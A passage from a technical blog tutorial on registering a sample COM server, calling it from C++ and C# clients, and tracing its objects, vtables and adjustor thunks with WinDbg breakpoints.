		auto clsid{ std::get<1>(coclass) };
		auto progId{ std::get<2>(coclass) };

		wil::unique_hkey regkey{};
		// CLSID
		RETURN_IF_WIN32_ERROR(::RegCreateKeyTransacted(HKEY_CLASSES_ROOT, (L"CLSID\\" + clsid).c_str(),
			0, nullptr, REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, regkey.put(), nullptr, transaction.get(), nullptr));
		RETURN_IF_WIN32_ERROR(::RegSetValueEx(regkey.get(), L"", 0, REG_SZ,
			reinterpret_cast<const BYTE*>(name.data()), static_cast<DWORD>((name.size() + 1) * sizeof(wchar_t))));

		RETURN_IF_FAILED(create_reg_subkey_with_value(transaction.get(), regkey.get(), L"InprocServer32", dll_path));
		RETURN_IF_FAILED(create_reg_subkey_with_value(transaction.get(), regkey.get(), L"ProgID", dll_path));

		// ProgID
		RETURN_IF_WIN32_ERROR(::RegCreateKeyTransacted(HKEY_CLASSES_ROOT, progId.c_str(),
			0, nullptr, REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, regkey.put(), nullptr, transaction.get(), nullptr));
		RETURN_IF_WIN32_ERROR(::RegSetValueEx(regkey.get(), L"", 0, REG_SZ,
			reinterpret_cast<const BYTE*>(name.data()), static_cast<DWORD>((name.size() + 1) * sizeof(wchar_t))));

		RETURN_IF_FAILED(create_reg_subkey_with_value(transaction.get(), regkey.get(), L"CLSID", clsid));
	}

	RETURN_IF_WIN32_BOOL_FALSE(::CommitTransaction(transaction.get()));

	return S_OK;
}

As you maybe noticed, I also added the registration of ProgIDs (Protoss.Nexus.1 and Protoss.Probe.1), which are human-friendly names for our COM classes. With these functions implemented, registering our COM classes is now a matter of calling regsvr32.exe protoss.dll from the administrator’s command line.

Updating the Protoss COM client

Thanks to the type library, we no longer need to explicitly generate and include the header files, but we may import the type library directly into the source code. The #import directive that we use for this purpose has several attributes controlling the representation of the type library in C++. For example, in the Protoss COM client, I’m using the raw_interfaces_only attribute as I want to work with the Protoss interfaces directly using the WIL com_ptr_t smart pointers. Our COM server uses IClassFactory, so we may call the CoCreateInstance function to create an instance of the Nexus class:

#include <iostream>

#include <Windows.h>
#include <wil/com.h>

#import "..\protoss.tlb" raw_interfaces_only

using namespace ProtossLib;

HRESULT show_game_unit_data(IUnknown* unknwn) {
    wil::com_ptr_t<IGameObject> unit{};
    RETURN_IF_FAILED(unknwn->QueryInterface(unit.put()));

    wil::unique_bstr name{};
    RETURN_IF_FAILED(unit->get_Name(name.put()));
    LONG minerals;
    RETURN_IF_FAILED(unit->get_Minerals(&minerals));
    LONG buildtime;
    RETURN_IF_FAILED(unit->get_BuildTime(&buildtime));

    std::wcout << L"Name: " << name.get() << L", minerals: " << minerals
        << L", build time: " << buildtime << std::endl;

    return S_OK;
}

void start_from_probe() {
	wil::com_ptr_t<IProbe> probe{};

	THROW_IF_FAILED(::CoCreateInstance(__uuidof(Probe), nullptr, CLSCTX_INPROC_SERVER, __uuidof(IProbe), probe.put_void()));
	THROW_IF_FAILED(show_game_unit_data(probe.get()));

	auto name{ wil::make_bstr(L"Nexus") };
	wil::com_ptr_t<INexus> nexus{};
	THROW_IF_FAILED(probe->ConstructBuilding(name.get(), nexus.put_unknown()));
	THROW_IF_FAILED(show_game_unit_data(nexus.get()));
}

int main(int argc, char* argv[]) {
    UNREFERENCED_PARAMETER(argc);
    UNREFERENCED_PARAMETER(argv);

    try {
        // a "smart call object" that will execute CoUnitialize in destructor
        auto runtime{ wil::CoInitializeEx(COINIT_APARTMENTTHREADED) };

        start_from_probe();

        return 0;
    } catch (const wil::ResultException& ex) {
        std::cout << ex.what() << std::endl;
        return 1;
    } catch (const std::exception& ex) {
        std::cout << ex.what() << std::endl;
        return 1;
    }
}

If you run the client, you should see the calls to the QueryInterface method and logs from constructors and destructors in the console:

Component: Nexus::QueryInterface: 246a22d5-cf02-44b2-bf09-aab95a34e0cf
Component: Probe::AddRef() ref_count = 2
Component: Probe::Release() ref_count = 1
Component: Probe::AddRef() ref_count = 2
Component: Probe::Release() ref_count = 1
Component: Nexus::QueryInterface: 246a22d5-cf02-44b2-bf09-aab95a34e0cf
Component: Probe::AddRef() ref_count = 2
Component: Probe::Release() ref_count = 1
Component: Nexus::QueryInterface: 59644217-3e52-4202-ba49-f473590cc61a
Component: Probe::AddRef() ref_count = 2
Name: Probe, minerals: 50, build time: 12
Component: Probe::Release() ref_count = 1
Component: Nexus::QueryInterface: 59644217-3e52-4202-ba49-f473590cc61a
Component: Nexus::AddRef() ref_count = 2
Name: Nexus, minerals: 400, build time: 120
Component: Nexus::Release() ref_count = 1
Component: Nexus::Release() ref_count = 0
Component: Nexus::~Nexus()
Component: Probe::Release() ref_count = 0
Component: Probe::~Probe()

We can see that all class instances are eventually freed, so, hurray 🎉, we aren’t leaking any memory!

If you’d like to practice writing COM client code, you may implement a start_from_nexus function to output the same information, but create the Nexus class first. Don’t look at the client code in the repository, as this function is already there 😊

C++ is not the only language to write a COM client. Let’s now implement the same logic in C#. I picked C# not without reason. .NET Runtime provides excellent support for working with native COM objects. Each COM class receives a Runtime Callable Wrapper that makes the COM class look like any other .NET class. Now, you can imagine the number of magic layers to make it happen. So, there is no surprise that sometimes, you may need to wear a magical debugging hat to resolve a problem in COM interop 😅 But if you look at the code, it’s effortless:

using ProtossLib;

public static class Program
{
    static void ShowGameUnitData(IGameObject go)
    {
        Console.WriteLine($"Name: {go.Name}, minerals: {go.Minerals}, build time: {go.BuildTime}");
    }

    static void StartingFromProbe()
    {
        var probe = new Probe();
        ShowGameUnitData((IGameObject)probe);

        var nexus = probe.ConstructBuilding("Nexus");
        ShowGameUnitData((IGameObject)nexus);

        //_ = Marshal.ReleaseComObject(nexus);
        //_ = Marshal.ReleaseComObject(probe);
    }

    [STAThread]
    static void Main()
    {
        StartingFromProbe();

        // force release of the COM objects
        GC.Collect();
    }
}

If you decompile the ProtossLib.dll assembly, you will discover that Probe is, in fact, an interface with a CoClass attribute. And, although it does not implement IGameObject, we may cast it to IGameObject. Magical, isn’t it? 😊 Mixed-mode debugging helps a lot when debugging COM interop in .NET. For example, if you set a breakpoint on the QueryInterface method in the Probe class, you will discover that it i called when you cast the managed Probe instance to IGameObject.

Debugging COM in WinDbg

In this paragraph, I want to focus on debugging COM servers and clients in WinDbg. I will show you some commands, hoping they will be helpful also in your COM troubleshooting.

Let’s start with a breakpoint on the typical entry point for creating COM objects, i.e., the CoCreateInstance function (if the COM client does not use CoCreateInstance, you may set a breakpoint on the CoGetClassObject function):

HRESULT CoCreateInstance(
  [in]  REFCLSID  rclsid,
  [in]  LPUNKNOWN pUnkOuter,
  [in]  DWORD     dwClsContext,
  [in]  REFIID    riid,
  [out] LPVOID    *ppv
);

Our goal is to print the function parameters (CLSID, IID, and the object address), so we know which object the client creates. If we have combase.dll private symbols, it’s a matter of calling the dv command. Otherwise, we need to rely on the dt command. For 32-bit, I usually create the CoCreateInstance breakpoint as follows:

bp combase!CoCreateInstance "dps @esp L8; dt ntdll!_GUID poi(@esp + 4); dt ntdll!_GUID poi(@esp + 10); .printf /D \"==> obj addr: %p\", poi(@esp+14);.echo; bp /1 @$ra; g"

And the 64-bit version is:

bp combase!CoCreateInstance "dps @rsp L8; dt ntdll!_GUID @rcx; dt ntdll!_GUID @r9; .printf /D \"==> obj addr: %p\", poi(@rsp+28);.echo; bp /1 @$ra; g"

I’m using bp /1 @$ra; g to break at the moment when the function returns. I didn’t want to use, for example, gu because one CoCreateInstance may call another CoCreateInstance, and one-time breakpoints are more reliable in such situations. An example 32-bit breakpoint hit might look as follows (notice that when we have private symbols, dps command nicely prints the GUIDs):

009cfe00  008c36ae ProtossComClient!main+0x6e
009cfe04  008c750c ProtossComClient!_GUID_eff8970e_c50f_45e0_9284_291ce5a6f771
009cfe08  00000000
009cfe0c  00000001
009cfe10  008c74b4 ProtossComClient!_GUID_246a22d5_cf02_44b2_bf09_aab95a34e0cf
009cfe14  009cfe3c
009cfe18  36e9dfe6
009cfe1c  00e8b3e0
 {eff8970e-c50f-45e0-9284-291ce5a6f771}
   +0x000 Data1            : 0xeff8970e
   +0x004 Data2            : 0xc50f
   +0x006 Data3            : 0x45e0
   +0x008 Data4            : [8]  "???"
 {246a22d5-cf02-44b2-bf09-aab95a34e0cf}
   +0x000 Data1            : 0x246a22d5
   +0x004 Data2            : 0xcf02
   +0x006 Data3            : 0x44b2
   +0x008 Data4            : [8]  "???"
==> obj addr: 009cfe3c
ModLoad: 76fb0000 7702e000   C:\Windows\System32\clbcatq.dll
ModLoad: 618b0000 618b9000   C:\Windows\SYSTEM32\ktmw32.dll
ModLoad: 76df0000 76e66000   C:\Windows\System32\sechost.dll
ModLoad: 75c40000 75cbb000   C:\Windows\System32\ADVAPI32.dll
ModLoad: 031a0000 031ae000   C:\Users\me\repos\protoss-com-example\Release\protoss.dll
Breakpoint 1 hit
eax=00000000 ebx=00628000 ecx=00e84ea0 edx=00000000 esi=00e84310 edi=00e8b3e0
eip=008c36ae esp=009cfe18 ebp=009cfe58 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ProtossComClient!start_from_probe+0x23 [inlined in ProtossComClient!main+0x6e]:
008c36ae 8b4d04          mov     ecx,dword ptr [ebp+4] ss:002b:009cfe5c=008c56b1

In the output, we can find CLSID (eff8970e-c50f-45e0-9284-291ce5a6f771), IID (246a22d5-cf02-44b2-bf09-aab95a34e0cf) and the created object address: 010ff620. Before we start examining it, we need to check the returned status code. We can do that with the !error @$retreg command (or look at the eax/rax register). If it’s 0 (S_OK), we may set breakpoints on the returned object methods. As each COM object implements at least one interface (virtual class), it will have at least one virtual method table. Thanks to the CoCreateInstance breakpoint, we know the queried IID, and we may find the interface method list in the associated type library. If we don’t have access to the type library (or our IID is IID_IUnknown), we still may learn something about this object by placing breakpoints on the IUnknown interface methods (as you remember, all COM interfaces need to implement it):

struct IUnknown
{
    virtual HRESULT STDMETHODCALLTYPE QueryInterface( 
        /* [in] */ REFIID riid,
        /* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject) = 0;

    virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;

    virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
};

The breakpoint is very similar to what we did for CoCreateInstace. The code snippet below presents the 32- and 64-bit versions:

bp 031a6160 "dt ntdll!_GUID poi(@esp + 8); .printf /D \"==> obj addr: %p\", poi(@esp + C);.echo; bp /1 @$ra; g"

bp 00007ffe`1c751e6a "dt ntdll!_GUID @rdx; .printf /D \"==> obj addr: %p\", @r8;.echo; bp /1 @$ra; g"

Let me show you how I got the address of the QueryInterface function for the 32-bit breakpoint (031a6160). The first four bytes at the object address (009cfe3c) point to the virtual method table. We may find the vtable address by calling dpp 009cfe3c L1:

0:000> dpp 009cfe3c L1
009cfe3c  00e84ea0 031a860c protoss!Probe::`vftable'

We can now dump the content of the vtable:

0:000> dps 031a860c L4
031a860c  031a6160 protoss!Probe::QueryInterface
031a8610  031a6070 protoss!Probe::AddRef
031a8614  031a60b0 protoss!Probe::Release
031a8618  031a6260 protoss!Probe::ConstructBuilding

I knew that the IProbe interface (246A22D5-CF02-44B2-BF09-AAB95A34E0CF) has four methods (the first three coming from the IUnknown interface). Without this knowledge, I would have printed only the first three methods (QueryInterface, AddRef, and Release).

On each QueryInterface return, we may again examine the status code and returned object. The output below presents a QueryInterface hit for an IProbe instance. Let’s spend a moment analyzing it:

 {59644217-3e52-4202-ba49-f473590cc61a}
   +0x000 Data1            : 0x59644217
   +0x004 Data2            : 0x3e52
   +0x006 Data3            : 0x4202
   +0x008 Data4            : [8]  "???"
==> obj addr: 009cfe00
Breakpoint 2 hit
eax=00000000 ebx=00628000 ecx=5a444978 edx=00000000 esi=00e84310 edi=00e8b3e0
eip=008c34f6 esp=009cfdec ebp=009cfe10 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ProtossComClient!show_game_unit_data+0x46:
008c34f6 8bf0            mov     esi,eax

The 59644217-3e52-4202-ba49-f473590cc61a GUID represents the IGameObject interface. If you scroll up to the class definitions, you will find that it’s the second interface that the Probe class implements. The vtable at the object address looks as follows:

0:000> dpp 009cfe00 L1
009cfe00  00e84ea4 031a8620 protoss!Probe::`vftable'
0:000> dps 031a8620 L6
031a8620  031a5c40 protoss![thunk]:Probe::QueryInterface`adjustor{4}'
031a8624  031a5c72 protoss![thunk]:Probe::AddRef`adjustor{4}'
031a8628  031a5c4a protoss![thunk]:Probe::Release`adjustor{4}'
031a862c  031a36f0 protoss!Probe::get_Name
031a8630  031a3720 protoss!Probe::get_Minerals
031a8634  031a3740 protoss!Probe::get_BuildTime

You may now be wondering what the adjustor methods are? If we decompile any of them, we will find an interesting assembly code:

0:000> u 031a5c40
protoss![thunk]:Probe::QueryInterface`adjustor{4}':
031a5c40 836c240404      sub     dword ptr [esp+4],4
031a5c45 e916050000      jmp     protoss!Probe::QueryInterface (031a6160)

To better understand what’s going on here, let’s put the last dpp commands (after CoCreateInstance and QueryInterface) next to each other:

0:000> dpp 009cfe3c L1
009cfe3c 00e84ea0 031a860c protoss!Probe::`vftable' <- CoCreateInstance
0:000> dpp 009cfe00 L1
009cfe00 00e84ea4 031a8620 protoss!Probe::`vftable' <- QueryInterface

In the above output, we see that QueryInterface for IProbe (called by CoCreateInstance) sets the object pointer to the address 00e84ea0. While QueryInterface for IGameObject sets the object pointer to the address 00e84ea4 (four bytes further). And both calls were made on the same instance of the Probe class. Looking at the QueryInterface source code, we can see that this difference is caused by a static_cast:

HRESULT __stdcall Probe::QueryInterface(REFIID riid, void** ppv) {
	std::cout << "Component: Nexus::QueryInterface: " << riid << std::endl;

	if (riid == IID_IUnknown || riid == __uuidof(IProbe)) {
		*ppv = static_cast<IProbe*>(this);
	} else if (riid == __uuidof(IGameObject)) {
		*ppv = static_cast<IGameObject*>(this);
	} else {
		*ppv = NULL;
		return E_NOINTERFACE;
	}
	AddRef();
	return S_OK;
}

The instruction *ppv = static_cast<IProbe*>(this) is here equivalent to *ppv = this, as IProbe is the default (first) interface of the Probe class, and a pointer to its vtable occupies the first four bytes of the Probe instance memory. IGameObject is the second interface and a pointer to its vtable occupies the next four bytes of the Probe instance memory. After these two vtables, we can find fields of the Probe class. I draw the diagram below to better visualize these concepts:

So, what are those adjustors in the IGameObject vtable? Adjustors allow the compiler to reuse the IUnknown methods already compiled for the IProbe implementation. The only problem with reusing is that methods implementing IProbe expect this to point to the beginning of the Probe class instance. So we can’t simply use their addresses in the IGameObject vtable – we need first to adjust the this pointer. And that’s what the sub dword ptr [esp+4],4 instruction is doing. Then, we can safely jump to the IProbe‘s QueryInterface implementation, and everything will work as expected.

To end the vtables discussion, I have one more WinDbg script for you:

.for (r $t0 = 0; @$t0 < N; r $t0= @$t0 + 1) { bp poi(VTABLE_ADDRESS + @$t0 * @$ptrsize) }

This script sets breakpoints on the first N methods of a given vtable (replace N with any number you need). For example, to break on all the methods of the IGameObject interface, I would run:

.for (r $t0 = 0; @$t0 < 6; r $t0= @$t0 + 1) { bp poi(031a8620 + @$t0 * @$ptrsize) }

We may also track COM objects from a specific DLL. When the application loads the target DLL, we need to set a breakpoint on the exported DllGetClassObject function. For example, let’s debug what is happening when we call CoCreateInstance for the Probe COM object. We start by setting a break on the protoss.dll load:

0:000> sxe ld:protoss.dll
0:000> g
...
ModLoad: 66c90000 66cd4000   C:\temp\protoss-com-example\Debug\protoss.dll

Next, we set a breakpoint on the protoss!DllGetClassObject function and wait for it to hit:

0:000> bp protoss!DllGetClassObject "dps @esp L8; dt ntdll!_GUID poi(@esp + 4); dt ntdll!_GUID poi(@esp + 8); .printf /D \"==> obj addr: %p\", poi(@esp+c);.echo; bp /1 @$ra; g"
0:000> g
009cea10  75d6b731 combase!CClassCache::CDllPathEntry::GetClassObject+0x5a [onecore\com\combase\objact\dllcache.cxx @ 2581]
009cea14  00e9f354
009cea18  75ce84c8 combase!IID_IClassFactory
009cea1c  009cec40
009cea20  00000000
009cea24  00e9b3f8
009cea28  75ce84c8 combase!IID_IClassFactory
009cea2c  00e9f354
 {eff8970e-c50f-45e0-9284-291ce5a6f771}
   +0x000 Data1            : 0xeff8970e
   +0x004 Data2            : 0xc50f
   +0x006 Data3            : 0x45e0
   +0x008 Data4            : [8]  "???"
 {00000001-0000-0000-c000-000000000046}
   +0x000 Data1            : 1
   +0x004 Data2            : 0
   +0x006 Data3            : 0
   +0x008 Data4            : [8]  "???"
==> obj addr: 009cec40
Breakpoint 1 hit

We can see that CoCreateInstance uses the Probe class CLSID and asks for the IClassFactory instance. IClassFactory inherits from IUnknown (as all COM interfaces) and contains only two methods:

struct IClassFactory : public IUnknown
{
    virtual HRESULT STDMETHODCALLTYPE CreateInstance( 
        _In_opt_  IUnknown *pUnkOuter, _In_  REFIID riid, _COM_Outptr_  void **ppvObject) = 0;
    
    virtual HRESULT STDMETHODCALLTYPE LockServer(/* [in] */ BOOL fLock) = 0;
};

Let’s set a breakpoint on the CreateInstance method and continue execution:

0:000> dpp 009cec40 L1
009cec40  031ab020 031a863c protoss!ProtossObjectClassFactory<Probe,IProbe>::`vftable'
0:000> dps 031a863c L5
031a863c  031a45e0
031a8640  031a45d0
031a8644  031a45d0
031a8648  031a4500
031a864c  031a44f0
0:000> bp 031a4500 "dt ntdll!_GUID poi(@esp + c); .printf /D \"==> obj addr: %p\", poi(@esp + 10);.echo; bp /1 @$ra; g"
0:000> g
 {246a22d5-cf02-44b2-bf09-aab95a34e0cf}
   +0x000 Data1            : 0x246a22d5
   +0x004 Data2            : 0xcf02
   +0x006 Data3            : 0x44b2
   +0x008 Data4            : [8]  "???"
==> obj addr: 009cec58
Breakpoint 3 hit

Our breakpoint gets hit, and we see that the requested IID equals IID_IProbe, which proves what I mentioned previously, that CoCreateInstance internally uses an IClassFactory instance to create a new Probe class instance.

Finally, when we deal with COM automation and need to decode parameters passed to the IDispatch instance, we may use the dt -r1 combase!tagVARIANT ARG_ADDRESS command. It nicely formats all the VARIANT fields but requires the combase.dll symbols.

We reached the end of this long post, and I hope I haven’t bored you too much 😅 I also hope that the presented materials will help you better understand and troubleshoot COM APIs. The source code of the Protoss COM example is available at https://github.com/lowleveldesign/protoss-com-example.

Until the next time! 👋

❌
❌